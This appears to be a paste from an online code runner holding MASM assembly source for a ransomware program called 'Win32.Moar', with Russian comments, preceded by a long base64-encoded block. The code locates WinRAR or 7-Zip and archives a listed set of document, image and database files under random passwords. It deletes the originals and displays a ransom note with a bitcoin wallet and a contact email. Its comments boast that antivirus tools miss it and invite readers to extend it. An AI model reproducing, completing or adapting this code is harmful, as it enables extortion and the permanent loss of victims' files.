Ri9C00LXQu9GP0LXQvCDQv9Cw0LzRj9GC0Ywg0LTQu9GPINCy0LDQudC/0LjQvdCz0LAg0YTQsNC50LvQvtCyLiDQotCw0Log0L3QsNC30YvQstCw0LXRgtGB0Y8g0YHRgtC40YDQsNC90LjQtSDRhNCw0LnQu9C+0LIg0LHQtdC3INCy0L7Qt9C80L7QttC90L7RgdGC0Lgg0LLQvtGB0YHRgtCw0L3QvtCy0LvQtdC90LjRjy4KOyDQn9GA0L7RgdGC0L4g0YPQtNCw0LvQuNGC0Ywg0YTQsNC50LsgLSDRgdC/0L7RgdC+0LEg0LTQu9GPINC60YDQuNCy0L7RgNGD0LrQuNGFLCDRgi7Qui4g0YDQsNC30LvQuNGH0L3Ri9C1INCb0LXQv9GA0L7Qt9C+0YDQuNC4INCa0LDRgdC/0LXRgNGB0LrQvtCz0L4g0L/Rg9Cx0LvQuNC60YPRjtGCIAo7INC30LjRgNC+0LTQtdC5LdC80LXRgtC+0LTRiyDQtNC70Y8g0LLQvtGB0YHRgtCw0L3QvtCy0LvQtdC90LjRjyDRhNCw0LnQu9C+0LIuCiAgICAgIGludm9rZSAgR2xvYmFsQWxsb2MsIEdQVFIsIEJVRkZFUl9TSVpFCiAgICAgIC5pZiAoZWF4PT0wKQogICAgICAgICAgICAgIGptcCAgICAgb2hzaGl0CiAgICAgIC5lbmRpZgogICAgICBtb3YgICAgIGhtZW0sIGVheAo7INCS0YvQt9GL0LLQsNC10Lwg0L/RgNC+0YbQtdC00YPRgNGDINC/0L7QuNGB0LrQsCDQuCDQvtCx0YDQsNCx0L7RgtC60Lgg0YTQsNC50LvQvtCyLgogICAgICBjYWxsICAgIEZpbGVTZWFyY2gKOyDQntGB0LLQvtCx0L7QttC00LDQtdC8INC/0LDQvNGP0YLRjCwg0LLRi9C00LXQu9C10L3QvdGD0Y4g0L/QvtC0INCx0YPRhNC10YAg0LTQu9GPINCy0LDQudC/0LjQvdCz0LAuCiAgICAgIGludm9rZSAgR2xvYmFsRnJlZSwgaG1lbQo7INCf0L7QutCw0LfRi9Cy0LDQtdC8INC/0L7Qu9GM0LfQvtCy0LDRgtC10LvRjiDRgdC+0L7QsdGJ0LXQvdC40LUg0L4g0YLQvtC8LCDRh9GC0L4g0L7QvSDQutGA0LjQstC+0YDRg9C60LjQuSDQtNC10LHQuNC7IC0g0LLQt9GP0Lsg0Lgg0LfQsNC/0YPRgdGC0LjQuyDQu9C10LLRi9C5INCV0KXQlS4KICAgICAgaW52b2tlICBNZXNzYWdlQm94LCAwLCBhZGRyIFVzZXJNZXNzYWdlLCAwLCAwCm9oc2hpdDoKICAgICAgaW52b2tlICBFeGl0UHJvY2VzcywgMAoKOyDQn9GA0L7RhtC10LTRg9GA0LAg0L/QvtC70YPRh9C10L3QuNGPINC/0YPRgtC4INC6INCw0YDRhdC40LLQsNGC0L7RgNGDLiDQkiDQvdC10Lkg0L3QtdGCINC90LjRh9C10LPQviDRgdC70L7QttC90L7Qs9C+LCBubyBjb21tZW50cy4KR2V0UGFja2VyUGF0aCBwcm9jIHAxOkRXT1JELCBwMjpEV09SRCwgcDM6RFdPUkQsIHA0OkRXT1JECiAgIExPQ0FMIFZhbExlbiAgICA6RFdPUkQKICAgTE9DQUwgbHBkd0Rpc3AgIDpEV09SRAogICBMT0NBTCBoS2V5ICAgICAgOkRXT1JECiAgICAgIGludm9rZSAgUmVnQ3JlYXRlS2V5RXgsIEhLRVlfQ0xBU1NFU19ST09ULCBwMSwgMCwgMCwgMCwgS0VZX1JFQUQsIDAsIGFkZHIgaEtleSwgYWRkciBscGR3RGlzcAogICAgICB0ZXN0ICAgIGVheCwgZWF4CiAgICAgIGplICAgICAgQEYKICAgICAgICAgICAgICB4b3IgICAgIGVheCwgZWF4CiAgICAgICAgICAgICAgcmV0CiAgICAgIEBAOgogICAgICBtb3YgICAgIGR3b3JkIHB0ciBbVmFsTGVuXSwgQnVmTGVuCiAgICAgIGludm9rZSAgUmVnUXVlcnlWYWx1ZUV4LCBoS2V5LCBwMiwgMCwgMCwgYWRkciBQYWNrZXJQYXRoLCBhZGRyIFZhbExlbgogICAgICB0ZXN0ICAgIGVheCwgZWF4CiAgICAgIGplICAgICAgQEYKICAgICAgICAgICAgICB4b3IgICAgIGVheCwgZWF4CiAgICAgICAgICAgICAgcmV0CiAgICAgIEBAOgogICAgICBpbnZva2UgIFJlZ0Nsb3NlS2V5LCBoS2V5Cjsg0J/Rg9GC0Ywg0LIg0YDQtdC10YHRgtGA0LUg0YXRgNCw0L3QuNGC0YHRjyDQsiDRgtCw0LrQvtC8INCy0LjQtNC1OiAiQzpcUHJvZ3JhbSBGaWxlc1xXaW5SQVJcV2luUkFSLmV4ZSIgIiUxIi4KOyDQn9C+0Y3RgtC+0LzRgyDQtdCz0L4g0L3Rg9C20L3QviDQv9GA0L7Qv9Cw0YDRgdC40YLRjC4KICAgICAgaW52b2tlICBsc3RybGVuLCBhZGRyIFBhY2tlclBhdGgKICAgICAgZGVjICAgICBlYXgKICAgICAgbW92ICAgICBlY3gsIGVheAogICAgICBtb3YgICAgIGVzaSwgb2Zmc2V0IFBhY2tlclBhdGgKICAgICAgaW5jICAgICBlc2kKICAgICAgbW92ICAgICBlYngsIGVzaQogICAgICBtb3YgICAgIGR3b3JkIHB0ciBbUGFja2VyUGF0aFBvaW50ZXJdLCBlYngKICAgICAgQEA6CiAgICAgIGxvZHNiCiAgICAgIGNtcCAgICAgYWwsICciJwogICAgICBqZSAgICAgIEBGCiAgICAgIGxvb3AgICAgQEIKICAgICAgQEA6CiAgICAgIG1vdiAgICAgYnl0ZSBwdHIgW2VzaS0xXSwgMAogICAgICBpbnZva2UgIFBhdGhGaW5kRmlsZU5hbWUsIGVieAogICAgICBtb3YgICAgIGJ5dGUgcHRyIFtlYXhdLCAwCiAgICAgIGludm9rZSAgbHN0cmNhdCwgZWJ4LCBwMwo7INCSINC/0LXRgNC10LzQtdC90L3Rg9GOIFR5cGVPZlBhY2tlciDQt9Cw0L/QuNGB0YvQstCw0LXRgtGB0Y8g0LfQvdCw0YfQtdC90LjQtSAtINC40LTQtdC90YLQuNGE0LjQutCw0YLQvtGAINC40YHQv9C+0LvRjNC30YPQtdC80L7Qs9C+INCw0YDRhdC40LLQsNGC0L7RgNCwLCDRh9C10YLQstC10YDRgtGL0Lkg0L/QsNGA0LDQvNC10YLRgCAtIHA0Cjsg0KIu0LUg0LXRgdC70Lgg0L/Rg9GC0Ywg0Log0LLQuNC90YDQsNGA0YMg0LHRi9C7INGD0LTQsNGH0L3QviDQv9C+0LvRg9GH0LXQvSwg0L/QuNGI0LXQvCDRgtGD0LTQsCBXSU5SQVJfUEFDSywg0LXRgdC70Lgg0LogNy1aaXAneSAtIFNFVkVOWklQX1BBQ0suCiAgICAgIG1vdiAgICAgZWF4LCBkd29yZCBwdHIgW3A0XQogICAgICBtb3YgICAgIGJ5dGUgcHRyIFtUeXBlT2ZQYWNrZXJdLCBhbAogICAgICBtb3YgICAgIGVheCwgMQogICAgICByZXQKR2V0UGFja2VyUGF0aCBlbmRwCgo7INCf0YDQvtGG0LXQtNGD0YDQsCDQv9Cw0LrQvtCy0LDQvdC40Y8g0YTQsNC50LvQvtCyLgpQYWNrRmlsZSBwcm9jCjsg0JPQtdC90LXRgNC40YDRg9C10Lwg0LTQu9GPINCw0YDRhdC40LLQsCDQv9Cw0YDQvtC70YwuCiAgICAgIGNhbGwgICAgUHdkR2VuCiAgICAgIGludm9rZSAgbHN0cmNweSwgYWRkciBBck5hbWUsIGFkZHIgRmlsZVBhdGhCdWYKICAgICAgaW52b2tlICBQYXRoRmluZEV4dGVuc2lvbiwgYWRkciBBck5hbWUKICAgICAgaW52b2tlICBsc3RyY2F0LCBhZGRyIEFyTmFtZSwgYWRkciBWaXJTaWduCiAgICAgIG1vdiAgICAgYWwsIGJ5dGUgcHRyIFtUeXBlT2ZQYWNrZXJdCiAgICAgIGNtcCAgICAgYWwsIFdJTlJBUl9QQUNLCiAgICAgIGpuZSAgICAgQEYKICAgICAgICAgICAgICBpbnZva2UgIGxzdHJjYXQsIGFkZHIgQXJOYW1lLCBhZGRyIFdpbnJhckV4dAogICAgICAgICAgICAgIGludm9rZSAgd3NwcmludGYsIGFkZHIgVG1wQnVmLCBhZGRyIFdpbnJhck1hc2ssIGFkZHIgR2VuZXJhdGVkUGFzc3dvcmQsIGFkZHIgQXJOYW1lLCBhZGRyIEZpbGVQYXRoQnVmCiAgICAgICAgICAgICAgam1wICAgICBkb25lXzIKICAgICAgQEA6CiAgICAgICAgICAgICAgaW52b2tlICBsc3RyY2F0LCBhZGRyIEFyTmFtZSwgYWRkciBTZXZlblppcEV4dAogICAgICAgICAgICAgIGludm9rZSAgd3NwcmludGYsIGFkZHIgVG1wQnVmLCBhZGRyIFNldmVuWmlwTWFzaywgYWRkciBHZW5lcmF0ZWRQYXNzd29yZCwgYWRkciBBck5hbWUsIGFkZHIgRmlsZVBhdGhCdWYKICAgICAgZG9uZV8yOgogICAgICBpbnZva2UgIFJ0bFplcm9NZW1vcnksIGFkZHIgc2VpLCBzaXplb2Ygc2VpCjsg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNGD0LrRgtGD0YDRgyBTSEVMTEVYRUNVVEVJTkZPINC4INC30LDQv9GD0YHQutCw0LXQvCByYXIuZXhlINGBINC/0LDRgNCw0LzRgtC10YDQvtC8INC60L7QvNCw0L3QtNC90L7QuSDRgdGC0YDQvtC60LgsCjsg0LIg0LrQvtGC0L7RgNC+0Lwg0YXRgNCw0L3QuNGC0YHRjyDQv9GD0YLRjCDQuiDRhNCw0LnQu9GDINC00LvRjyDRiNC40YTRgNC+0LLQsNC90LjRjywg0L/Rg9GC0Ywg0Log0LLRi9GF0L7QtNGP0YnQtdC80YMg0YTQsNC50LvRgyDQuCDQv9Cw0YDQsNC80LXRgtGA0Ysg0YPQv9Cw0LrQvtCy0LrQuC4KICAgICAgbW92ICAgICBzZWkuY2JTaXplLCBzaXplb2Ygc2VpCiAgICAgIG1vdiAgICAgc2VpLmZNYXNrLCBTRUVfTUFTS19OT0NMT1NFUFJPQ0VTUwogICAgICBtb3YgICAgIHNlaS5uU2hvdywgU1dfSElERQogICAgICBtb3YgICAgIGVheCwgZHdvcmQgcHRyIFtQYWNrZXJQYXRoUG9pbnRlcl0KICAgICAgbW92ICAgICBzZWkubHBGaWxlLCBlYXgKICAgICAgbW92ICAgICBzZWkubHBQYXJhbWV0ZXJzLCBvZmZzZXQgVG1wQnVmCiAgICAgIGludm9rZSAgU2hlbGxFeGVjdXRlRXgsIGFkZHIgc2VpCiAgICAgIHRlc3QgICAgZWF4LCBlYXgKICAgICAgam5lICAgICBydW5fZ29vZAo7INCV0YHQu9C4INC30LDQv9GD0YHQuiDQsNC/0YDQvtGG0LXRgdCwINCw0YDRhdC40LLQsNGG0LjQuCDQvdC10YPQtNCw0LvRgdGPLCDQstGL0YXQvtC00LjQvC4KICAgICAgICAgICAgICByZXQKICAgICAgcnVuX2dvb2Q6Cjsg0JbQtNC10Lwg0LfQsNCy0LXRgNGI0LXQvdC40Y8g0L/QsNC60L7QstC60LguCiAgICAgIGludm9rZSAgV2FpdEZvclNpbmdsZU9iamVjdCwgc2VpLmhQcm9jZXNzLCBJTkZJTklURQogICAgICBpbnZva2UgIENsb3NlSGFuZGxlLCBzZWkuaFByb2Nlc3MKOyDQodGC0LjRgNCw0LXQvCDRhNCw0LnQuyDQsdC10Lcg0LLQvtC30LzQvtC20L3QvtGB0YLQuCDQstC+0YHRgdCw0L3QvtCy0LvQtdC90LjRjy4KICAgICAgY2FsbCAgICBXaXBlRmlsZQogICAgICByZXQKUGFja0ZpbGUgZW5kcAoKOyDQoNC10LrRg9GA0YHQuNCy0L3QsNGPINC/0YDQvtGG0LXQtNGD0YDQsCDQv9C+0LjRgdC60LAg0YTQsNC50LvQvtCyLCDQsNCy0YLQvtGAIC0gQ3Q3NTcuCmZpbmRfZmlsZXMgcHJvYwogICAgICBwdXNoICAgIGVicAogICAgICBtb3YgICAgIGVicCxlc3AKICAgICAgc3ViICAgICBlc3AsMTQ0aAogICAgICBsZWEgICAgIGVheCxbZWJwLTE0NGhdCiAgICAgIGludm9rZSAgRmluZEZpcnN0RmlsZSxvZmZzZXQgU2VhcmNoQnVmLGVheAogICAgICBpbmMgICAgIGVheAogICAgICBqZSAgICAgIGV4aXQKICAgICAgZGVjICAgICBlYXgKICAgICAgbW92ICAgICBkd29yZCBwdHIgW2VicC02aF0sZWF4CmZpbmRfbmV4dDoKICAgICAgbW92ICAgICBlYXgsZHdvcmQgcHRyIFtlYnAtMTQ0aF0KICAgICAgYW5kICAgICBlYXgsRklMRV9BVFRSSUJVVEVfRElSRUNUT1JZCiAgICAgIGplICAgICAgZm91bmQKICAgICAgbGVhICAgICBlYXgsW2VicC0xMThoXQogICAgICBpbnZva2UgIGxzdHJjbXAsb2Zmc2V0IGZha2UxLGVheAogICAgICB0ZXN0ICAgIGVheCxlYXgKICAgICAgamUgICAgICBuZXh0CiAgICAgIGxlYSAgICAgZWF4LFtlYnAtMTE4aF0KICAgICAgaW52b2tlICBsc3RyY21wLG9mZnNldCBmYWtlMixlYXgKICAgICAgdGVzdCAgICBlYXgsZWF4CiAgICAgIGplICAgICAgbmV4dAogICAgICBpbnZva2UgIGxzdHJsZW4sb2Zmc2V0IFNlYXJjaEJ1ZgogICAgICBzdWIgICAgIGVheCwzCiAgICAgIHB1c2ggICAgZWF4CiAgICAgIG1vdiAgICAgYnl0ZSBwdHIgW1NlYXJjaEJ1ZitlYXhdLDAKICAgICAgbGVhICAgICBlYXgsW2VicC0xMThoXQogICAgICBpbnZva2UgIGxzdHJjYXQsb2Zmc2V0IFNlYXJjaEJ1ZixlYXgKICAgICAgaW52b2tlICBsc3RybGVuLG9mZnNldCBTZWFyY2hCdWYKICAgICAgbW92ICAgICBkd29yZCBwdHIgW1NlYXJjaEJ1ZitlYXhdLCcqLipcJwogICAgICBtb3YgICAgIGJ5dGUgcHRyIFtTZWFyY2hCdWYrZWF4KzRdLDAKICAgICAgY2FsbCAgICBmaW5kX2ZpbGVzCiAgICAgIHBvcCAgICAgZWF4CiAgICAgIG1vdiAgICAgZHdvcmQgcHRyIFtTZWFyY2hCdWYrZWF4LTFdLCcqLipcJwogICAgICBtb3YgICAgIGJ5dGUgcHRyIFtTZWFyY2hCdWYrZWF4KzNdLDAKICAgICAgam1wICAgICBuZXh0CmZvdW5kOgogICAgICBsZWEgICAgIGVieCxbZWJwLTExOGhdCjsg0J/RgNC+0LLQtdGA0Y/QtdC8LCDQv9C+0LTRhdC+0LTQuNGCINC70Lgg0L3QsNC50LTQtdC90L3Ri9C5INGE0LDQudC7INC90LDQvCAtINGB0LLQtdGA0Y/QtdC8INGBINGA0LDRgdGI0LjRgNC10L3QuNGP0LzQuC4KICAgICAgbW92ICAgICBlY3gsIGR3b3JkIHB0ciBbRVhURU5TSU9OX0NPVU5UXQogICAgICBtb3YgICAgIGVzaSwgb2Zmc2V0IGxibDEKICAgICAgQEA6CiAgICAgIHB1c2ggICAgZWN4CiAgICAgIGludm9rZSAgUGF0aE1hdGNoU3BlYywgZWJ4LCBlc2kKICAgICAgdGVzdCAgICBlYXgsIGVheAogICAgICBqbmUgICAgIEBGCiAgICAgIGludm9rZSAgbHN0cmxlbiwgZXNpCiAgICAgIGFkZCAgICAgZXNpLCBlYXgKICAgICAgaW5jICAgICBlc2kKICAgICAgcG9wICAgICBlY3gKICAgICAgbG9vcCAgICBAQgo7INCV0YHQu9C4INC90LXRgiAtINC40YnQtdC8INGB0LvQtdC00YPRjtGJ0LjQuS4KICAgICAgam1wICAgICBuZXh0CiAgICAgIEBAOgo7INCh0L7Qt9C00LDQtdC8INC/0L7Qu9C90YvQuSDQv9GD0YLRjCDQuiDQvdCw0LnQtNC10L3QvtC80YMg0YTQsNC50LvRgy4KICAgICAgaW52b2tlICBsc3RyY3B5LCBhZGRyIEZpbGVQYXRoQnVmLCBhZGRyIFNlYXJjaEJ1ZgogICAgICBpbnZva2UgIFBhdGhGaW5kRmlsZU5hbWUsIGFkZHIgRmlsZVBhdGhCdWYKICAgICAgbW92ICAgICBieXRlIHB0ciBbZWF4XSwgMAogICAgICBsZWEgICAgIGVheCxbZWJwLTExOGhdCiAgICAgIGludm9rZSAgbHN0cmNhdCwgYWRkciBGaWxlUGF0aEJ1ZiwgZWF4Cjsg0JLRi9C30YvQstCw0LXQvCDQv9GA0L7RhtC10LTRg9GA0YMg0L/QsNC60L7QstC60Lgg0YTQsNC50LvQvtCyLgogICAgICBjYWxsICAgIFBhY2tGaWxlCm5leHQ6CiAgICAgIGxlYSAgICAgZWF4LFtlYnAtMTQ0aF0KICAgICAgaW52b2tlICBGaW5kTmV4dEZpbGUsZHdvcmQgcHRyIFtlYnAtNmhdLGVheAogICAgICB0ZXN0ICAgIGVheCxlYXgKICAgICAgam5lICAgICBmaW5kX25leHQKICAgICAgaW52b2tlICBGaW5kQ2xvc2UsZHdvcmQgcHRyIFtlYnAtNmhdCmV4aXQ6CiAgICAgIGxlYXZlCiAgICAgIHJldApmaW5kX2ZpbGVzIGVuZHAKCjsg0J/RgNC+0YbQtdC00YPRgNCwLCDQstGL0LfRi9Cy0LDRjtGJ0LDRjyDQv9C+0LjRgdC6INGE0LDQudC70L7QsiDQv9C+INC00LjRgdC60LDQvC4g0KIu0LUuINC+0L3QsCDQv9C10YDQtdGH0LjRgdC70Y/QtdGCINC00L7RgdGC0YPQv9C90YvQtSDQtNC40YHQutC4Cjsg0Lgg0LLRi9C30YvQstCw0LXRgiDQtNC70Y8g0LrQsNC20LTQvtCz0L4g0LjQtyDQvdC40YUgZmluZF9maWxlcy4KRmlsZVNlYXJjaCBwcm9jCiAgICAgIGludm9rZSAgU2V0RXJyb3JNb2RlLFNFTV9GQUlMQ1JJVElDQUxFUlJPUlMKICAgICAgaW52b2tlICBHZXRMb2dpY2FsRHJpdmVzCiAgICAgIG1vdiAgICAgZWN4LDI1CmZpbmRfZHJpdmVzOgogICAgICBtb3YgICAgIGVieCwxCiAgICAgIHNobCAgICAgZWJ4LGNsCiAgICAgIGFuZCAgICAgZWJ4LGVheAogICAgICBqZSAgICAgIG5vX2Rpc2sKICAgICAgYWRkICAgICBjbCw2NQogICAgICBtb3YgICAgIGJ5dGUgcHRyIFNlYXJjaEJ1ZixjbAogICAgICBzdWIgICAgIGNsLDY1CiAgICAgIG1vdiAgICAgZHdvcmQgcHRyIFNlYXJjaEJ1ZisxLCcuKlw6JwogICAgICBtb3YgICAgIGJ5dGUgcHRyIFNlYXJjaEJ1Zis1LCcqJwogICAgICBtb3YgICAgIGJ5dGUgcHRyIFNlYXJjaEJ1Zis2LDAKICAgICAgcHVzaCAgICBlYXgKICAgICAgcHVzaCAgICBlY3gKICAgICAgY2FsbCAgICBmaW5kX2ZpbGVzCiAgICAgIHBvcCAgICAgZWN4CiAgICAgIHBvcCAgICAgZWF4Cm5vX2Rpc2s6CiAgICAgIGRlYyAgICAgZWN4CiAgICAgIGpnZSAgICAgZmluZF9kcml2ZXMKICAgICAgcmV0CkZpbGVTZWFyY2ggZW5kcAoKOyDQotGD0YIg0L/RgNC+0LjRgdGF0L7QtNC40YIg0LPQtdC90LXRgNCw0YbQuNGPINC/0LDRgNC+0LvRjyDQtNC70Y8g0LDRgNGF0LjQstCwLiAKOyDQlNC70Y8g0L/QvtC70YPRh9C10L3QuNGPINGB0LvRg9GH0LDQudC90YvRhSDRh9C40YHQtdC7INCyINC90YPQttC90L7QvCDQtNC40LDQv9Cw0LfQvtC90LUsINCy0YvQt9GL0LLQsNC10LwgR2V0UmFuZG9tLgpQd2RHZW4gcHJvYwogICAgICBsZWEgICAgIGVkaSwgR2VuZXJhdGVkUGFzc3dvcmQKICAgICAgbW92ICAgICBlY3gsIDY0CiAgICAgIEBAOgogICAgICBjYWxsICAgIEdldFJhbmRvbQogICAgICBzdG9zYgogICAgICBsb29wICAgIEBCCiAgICAgIHJldApQd2RHZW4gZW5kcAoKOyDQn9C+0LvRg9GH0LDQtdC8INGB0LvRg9GH0LDQudC90L7QtSDRh9C40YHQu9C+INCyINC00LjQsNC/0LDQt9C+0L3QtSBbIDQxaC4uNUFoIF0uCkdldFJhbmRvbSBwcm9jCiAgICAgIHB1c2ggICAgZWR4CiAgICAgIHB1c2ggICAgZWN4CiAgICAgIG1vdiAgICAgZWN4LDVBaAogICAgICBzdWIgICAgIGVjeCw0MWgKICAgICAgaW5jICAgICBlY3gKICAgICAgcHVzaCAgICBlZHgKICAgICAgcHVzaCAgICBlY3gKICAgICAgZGIgICAgICAwRmgsIDMxaAogICAgICB4b3IgICAgIGVheCxlZHgKICAgICAgeG9yICAgICBlZHgsZWR4CiAgICAgIG1vdiAgICAgZWN4LDEyNzc3MwogICAgICBkaXYgICAgIGVjeAogICAgICBtb3YgICAgIGVjeCxlYXgKICAgICAgbW92ICAgICBlYXgsMTY4MDcKICAgICAgbXVsICAgICBlZHgKICAgICAgbW92ICAgICBlZHgsZWN4CiAgICAgIG1vdiAgICAgZWN4LGVheAogICAgICBtb3YgICAgIGVheCwyODM2CiAgICAgIG11bCAgICAgZWR4CiAgICAgIHN1YiAgICAgZWN4LGVheAogICAgICB4b3IgICAgIGVkeCxlZHgKICAgICAgbW92ICAgICBlYXgsZWN4CiAgICAgIG1vdiAgICAgZWN4LDEwMDAwMAogICAgICBkaXYgICAgIGVjeAogICAgICBtb3YgICAgIGVheCxlZHgKICAgICAgcG9wICAgICBlY3gKICAgICAgcG9wICAgICBlZHgKICAgICAgeG9yICAgICBlZHgsZWR4CiAgICAgIGRpdiAgICAgZWN4CiAgICAgIG1vdiAgICAgZWF4LGVkeAogICAgICBhZGQgICAgIGVheCw0MWgKICAgICAgcG9wICAgICBlY3gKICAgICAgcG9wICAgICBlZHgKICAgICAgcmV0CkdldFJhbmRvbSBlbmRwCgo7INCf0YDQvtGG0LXQtNGD0YDQsCDQstCw0LnQv9C40L3Qs9CwINGE0LDQudC70L7Qsi4KOyDQlNC70Y8g0Y3RgtC+0LPQviDRgdC90LDRh9Cw0LvQsCDRhNCw0LnQuyDQv9C10YDQtdC30LDQv9C40YHRi9Cy0LDQtdGC0YHRjyDQvdGD0LvRj9C80LgsINC30LDRgtC10Lwg0YPQutC+0YDQsNGH0LjQstCw0LXRgtGB0Y8g0LTQviDQvdGD0LvQtdCy0L7QuSDQtNC70LjQvdGLINC4INGD0LTQsNC70Y/QtdGC0YHRjy4KOyDQmtCw0Log0L/QvtC60LDQt9Cw0LvQuCDRjdC60YHQv9C10YDQuNC80LXQvdGC0YssINC/0L7RgdC70LUg0YLQsNC60L7Qs9C+LCDQv9GA0L7Qs9GA0LDQvNC80Ysg0LLQvtGB0YHRgtCw0L3QvtCy0LvQtdC90LjRjyDRhNCw0LnQu9C+0LIg0L3QtdGA0LLQvdC+INC60YPRgNGP0YIg0LIg0YHRgtC+0YDQvtC90LrQtS4KV2lwZUZpbGUgcHJvYwogICBMT0NBTCBoICAgICAgIDpEV09SRAogICBMT0NBTCBudyAgICAgIDpEV09SRAogICBMT0NBTCBkbW9kICAgIDpEV09SRAogICBMT0NBTCB0b3dyaXRlIDpEV09SRAogICAgICBpbnZva2UgIENyZWF0ZUZpbGUsIGFkZHIgRmlsZVBhdGhCdWYsIEdFTkVSSUNfUkVBRCBvciBHRU5FUklDX1dSSVRFLCBGSUxFX1NIQVJFX1JFQUQgb3IgRklMRV9TSEFSRV9XUklURSwgTlVMTCwgT1BFTl9FWElTVElORywgTlVMTCwgTlVMTAogICAgICBjbXAgICAgIGVheCwgLTEKICAgICAgam5lICAgICBARgogICAgICAgICAgICAgIHJldAogICAgICBAQDoKICAgICAgbW92ICAgICBoLCBlYXgKICAgICAgaW52b2tlICBTZXRGaWxlUG9pbnRlciwgaCwgMCwgTlVMTCwgRklMRV9CRUdJTgogICAgICBpbnZva2UgIEdldEZpbGVTaXplLCBoLCBOVUxMCiAgICAgIGNtcCAgICAgZWF4LCBCVUZGRVJfU0laRQogICAgICBqZ2UgICAgIEBGCiAgICAgICAgICAgICAgbW92IGVjeCwgMQogICAgICAgICAgICAgIG1vdiBkd29yZCBwdHIgW3Rvd3JpdGVdLCBlYXgKICAgICAgICAgICAgICBtb3YgZHdvcmQgcHRyIFtkbW9kXSwgMAogICAgICAgICAgICAgIGptcCBsb29wX3dpcGUKICAgICAgQEA6CiAgICAgICAgICAgICAgeG9yIGVkeCwgZWR4CiAgICAgICAgICAgICAgbW92IGVieCwgQlVGRkVSX1NJWkUKICAgICAgICAgICAgICBkaXYgZWJ4CiAgICAgICAgICAgICAgbW92IGVjeCwgZWF4CiAgICAgICAgICAgICAgbW92IGR3b3JkIHB0ciBbdG93cml0ZV0sIEJVRkZFUl9TSVpFCiAgICAgICAgICAgICAgbW92IGR3b3JkIHB0ciBbZG1vZF0sIGVkeAogICAgICBsb29wX3dpcGU6CiAgICAgIHB1c2ggICAgZWN4CiAgICAgIGludm9rZSAgV3JpdGVGaWxlLCBoLCBbaG1lbV0sIFt0b3dyaXRlXSwgYWRkciBudywgTlVMTAogICAgICBwb3AgICAgIGVjeAogICAgICBsb29wICAgIGxvb3Bfd2lwZQogICAgICBtb3YgICAgIGVheCwgZHdvcmQgcHRyIFtkbW9kXQogICAgICB0ZXN0ICAgIGVheCwgZWF4CiAgICAgIGplICAgICAgYmV6X29zdGF0a2EKICAgICAgaW52b2tlICBXcml0ZUZpbGUsIGgsIFtobWVtXSwgW2Rtb2RdLCBhZGRyIG53LCBOVUxMCiAgICAgIGJlel9vc3RhdGthOgogICAgICBpbnZva2UgIFNldEZpbGVQb2ludGVyLCBoLCAwLCBOVUxMLCBGSUxFX0JFR0lOCiAgICAgIGludm9rZSAgU2V0RW5kT2ZGaWxlLCBoCiAgICAgIGludm9rZSAgQ2xvc2VIYW5kbGUsIGgKICAgICAgaW52b2tlICBEZWxldGVGaWxlLCBhZGRyIEZpbGVQYXRoQnVmCiAgICAgIHJldApXaXBlRmlsZSBlbmRwCgplbmQgc3RhcnQ=
stdout
; Win32.Moar - вирус вымогатель, принципом работы которого является упаковка файлов архиватором
; с использованием случайного пароля.
; Создан с учетом того, что одного архиватора может не быть, поэтому возможно использование
; как WinRar, так и 7-Zip. Пути к ним получаются динамически из реестра.
; Пароль для каждого файла генерируется новый и случайный, длиной 64 символа - брутфорс
; идет нахуй. EndUser идет туда же - нас не ебет, получит ли он свои данные обратно.
;
; Moar - от двух слов "more" и "archive", т.е. название описывает функционал
; вируса - использование нескольких архиваторов для надежности.
;
; Далее исходный код откомментирован - при желании можно добавить своих расширений
; файлов или изменить алгоритм работы.
;
; После компиляции, размер вируса - 3584 байт. Антивирусы смачно причмокивают - моар не вызывает
; подозрительных API и прочего, никто на бинарник не реагирует, абсолютно никто.
; Единственный минус - достаточно небольшая скорость работы, никак не зависящая от нас.
; Процесс тормозится запуском архиватора и ожиданием пакования файлов. Поэтому, ускорить это никак нельзя.
.686
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\shlwapi.inc
include \masm32\include\shell32.inc
include \masm32\include\advapi32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\shlwapi.lib
includelib \masm32\lib\shell32.lib
includelib \masm32\lib\advapi32.lib
GetPackerPath PROTO :DWORD, :DWORD, :DWORD, :DWORD
BUFFER_SIZE equ 100000h
BufLen equ 4096
WINRAR_PACK equ 1
SEVENZIP_PACK equ 2
.data
TypeOfPacker db 0
; Данные для получения пути к архиватору WinRar.
WinrarReg1 db 'WinRAR\shell\open\command',0
WinrarReg2 db 0
WinrarReg3 db 'rar.exe',0
WinrarMask db 'a -hp%s "%s" "%s"',0
WinrarExt db '.rar',0
; Данные для получения пути к архиватору 7-Zip.
SevenZipReg1 db 'Applications\7zFM.exe\shell\open\command',0
SevenZipReg2 db 0
SevenZipReg3 db '7z.exe',0
SevenZipMask db 'a -p%s "%s" "%s"',0
SevenZipExt db '.7z',0
; Две строки - для пропуска этих директорий при поиске файлов.
fake1 db '.',0
fake2 db '..',0
; Строковая подпись вируса - она добавляется к именам создаваемых архивов.
VirSign db '_MOAR_',0
; Количество масок(расширений) файлов, которые обрабатываются.
; При добавлении своих расширений, соответственно увеличивать.
EXTENSION_COUNT dd 4
; Сами расширения, вернее маски для поиска. Допустимо использование wildcard'ов.
lbl1 db '*.lnk',0
db '*.bmp',0
db '*.jpg',0
db '*.jpeg',0
db '*.docx',0
db '*.docm',0
db '*.doc',0
db '*.xlsx',0
db '*.xls',0
db '*.xlsm',0
db '*.1CD',0
db '*.dbf',0
; Сообщение, показываемое пользователю. Изменить на свой вкус.
UserMessage db 'Внимание! Все Ваши файлы были зашифрованы и помещены в архив с паролем. Оригиналы файлов были удалены.',13,10
db 'Т.е. вы больше не имеете доступа к своим файлам.',13,10
db 'Для того, чтобы получить пароль и расшифровать файлы, оплатите 100 долларов в биткоинах на этот кошелек:',13,10
db '1FneovZD18CoBJSz4cGiJVDt5C32yWh2i6',13,10
db 'Или этот же кошелек вы можете скопировать по ссылке: https://g...content-available-to-author-only...o.gl/j4XCL2',13,10
db 'Оплатить биткоинами через банки: https://b...content-available-to-author-only...k.net',13,10
db 'Пароль вы сможете получить после оплаты, написав на lohodf@mail.ru',0
.data?
PackerPath db BufLen dup (?)
SearchBuf db BufLen dup (?)
FilePathBuf db BufLen dup (?)
ArName db BufLen dup (?)
TmpBuf db BufLen dup (?)
GeneratedPassword db 65 dup (?)
PackerPathPointer dd ?
hmem dd ?
sei SHELLEXECUTEINFO <>
.code
start:
